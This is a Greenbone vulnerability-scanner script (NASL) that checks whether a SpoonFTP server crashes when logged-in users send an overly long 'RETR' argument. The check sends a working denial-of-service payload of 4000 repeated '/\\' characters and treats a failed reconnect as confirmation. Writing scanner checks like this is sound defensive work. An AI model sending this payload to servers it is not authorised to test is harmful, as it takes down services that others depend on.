SpoonFTP 'RETR' Command Remote Denial of Service Vulnerability

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.900274");
  script_version("2025-03-05T05:38:53+0000");
  script_tag(name:"last_modification", value:"2025-03-05 05:38:53 +0000 (Wed, 05 Mar 2025)");
  script_tag(name:"creation_date", value:"2011-03-25 15:52:06 +0100 (Fri, 25 Mar 2011)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_name("SpoonFTP 'RETR' Command Remote Denial of Service Vulnerability");
  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("FTP");
  script_dependencies("ftpserver_detect_type_nd_version.nasl", "logins.nasl");
  script_require_ports("Services/ftp", 21);
  script_mandatory_keys("ftp/spoonftp/detected");

  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/17021/");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/46952");

  script_tag(name:"impact", value:"Successful exploitation will allow attackers to cause a denial of
  service.");

  script_tag(name:"affected", value:"Softpedia SpoonFTP 1.2, other versions may also be affected.");

  script_tag(name:"insight", value:"The flaw is due to an error while parsing 'RETR' command, which
  can be exploited to crash the FTP service by sending 'RETR' command with an overly long parameter.");

  script_tag(name:"summary", value:"SpoonFTP Server is prone to a denial of service (DoS) vulnerability.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("ftp_func.inc");
include("misc_func.inc");
include("port_service_func.inc");

ftpPort = ftp_get_port(default:21);
banner = ftp_get_banner(port:ftpPort);
if(!banner || "220 SpoonFTP" >!< banner){
  exit(0);
}

soc = open_sock_tcp(ftpPort);
if(!soc){
  exit(0);
}

banner = ftp_recv_line(socket:soc);
ftp_close(socket:soc);
if(!banner || "220 SpoonFTP" >!< banner){
  exit(0);
}

kb_creds = ftp_get_kb_creds();
user = kb_creds["login"];
pass = kb_creds["pass"];

soc1 = open_sock_tcp(ftpPort);
if(!soc1){
  exit(0);
}

ftplogin = ftp_log_in(socket:soc1, user:user, pass:pass);
if(!ftplogin){
  exit(0);
}

send(socket:soc1, data:string("RETR ", crap(length: 4000, data:'/\\'),'\r\n'));

ftp_close(socket:soc1);

sleep(2);

soc2 = open_sock_tcp(ftpPort);
if(!soc2){
  security_message(port:ftpPort);
  exit(0);
}
ftp_close(socket:soc2);